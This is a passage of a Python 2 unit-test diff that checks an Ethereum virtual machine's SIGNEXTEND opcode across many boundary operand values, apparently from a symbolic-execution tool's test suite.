+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SIGNEXTEND_12(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SIGNEXTEND_13(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SIGNEXTEND_14(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SIGNEXTEND_15(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_SIGNEXTEND_16(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SIGNEXTEND_17(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SIGNEXTEND_18(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SIGNEXTEND_19(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SIGNEXTEND_20(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SIGNEXTEND_21(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SIGNEXTEND_22(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SIGNEXTEND_23(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SIGNEXTEND_24(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_SIGNEXTEND_25(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SIGNEXTEND_26(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SIGNEXTEND_27(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SIGNEXTEND_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_SIGNEXTEND_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639920L])
+
+    def test_SIGNEXTEND_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639920L])
+
+    def test_SIGNEXTEND_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_SIGNEXTEND_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_SIGNEXTEND_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639920L])
+
+    def test_SIGNEXTEND_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_SIGNEXTEND_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_SIGNEXTEND_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019728792003956564819952L])
+
+    def test_SIGNEXTEND_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_SIGNEXTEND_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_SIGNEXTEND_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_SIGNEXTEND_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_SIGNEXTEND_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [3618502788666131106986593281521497120414687020801267626233049500247285301263L])
+
+    def test_SIGNEXTEND_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x0b'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [15L])
+
+    def test_SIGNEXTEND_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
